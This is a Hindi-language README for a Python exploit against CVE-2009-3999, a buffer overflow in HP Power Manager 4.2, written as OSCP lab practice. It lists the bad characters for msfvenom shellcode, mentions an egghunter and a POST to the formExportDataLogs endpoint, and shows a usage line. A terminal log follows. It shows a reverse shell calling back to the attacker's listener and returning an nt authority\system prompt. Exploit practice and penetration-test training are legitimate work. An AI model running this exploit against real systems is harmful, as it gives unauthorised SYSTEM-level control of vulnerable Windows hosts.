CVE-2009-3999 के लिए पायथन में लिखी गई स्वचालित स्क्रिप्ट
अपनी OSCP तैयारी के भाग के रूप में मैं CVE-2009-3999 (HP Power Manager 4.2 (Build 7) Buffer Overflow शोषण) पर आया।
यह नवीनतम स्क्रिप्ट Python 3 संगतता समस्याओं को हल करने के लिए अपडेट की गई है जो स्ट्रिंग और बाइट हैंडलिंग से संबंधित हैं, यह सुनिश्चित करते हुए कि पेलोड को मेमोरी खराब होने से बचाने के लिए रॉ बाइनरी के रूप में प्रेषित किया जाए।
यह संस्करण एक स्वचालित msfvenom एकीकरण प्रदान करता है जो सही बैड कैरेक्टर्स (\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c) के साथ डायनेमिक रूप से शेलकोड उत्पन्न करता है, इसे एक विशिष्ट Egghunter से जोड़ता है, और अंतिम पेलोड को formExportDataLogs एंडपॉइंट पर POST अनुरोध के माध्यम से प्रेषित करता है। यह शैक्षिक उपयोग और सुरक्षा ऑडिटिंग के लिए डिज़ाइन किया गया है, शेलकोड निर्माण और लिसनर स्टार्टअप को एक ही छतरी के नीचे संभालकर शोषण वर्कफ़्लो को सरल बनाता है।
usage: python3 CVE-2009-3999.py <TARGET-IP> <TARGET-PORT> <LHOST> <LPORT>
┌──(venv)─(root㉿user)-[/run/…/user/2024/HTBox/kevin]
└─# python3 exp6.py 192.168.147.45 80 192.168.45.183 4444
[*] Generating msfvenom payload for 192.168.45.183:4444...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a nil character
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348 (iteration=0)
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of python file: 1953 bytes
[+] Sending exploit to 192.168.147.45:80
[+] Exploit sent. Starting listener on 4444...
listening on [any] 4444 ...
connect to [192.168.45.183] from (UNKNOWN) [192.168.147.45] 49168
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system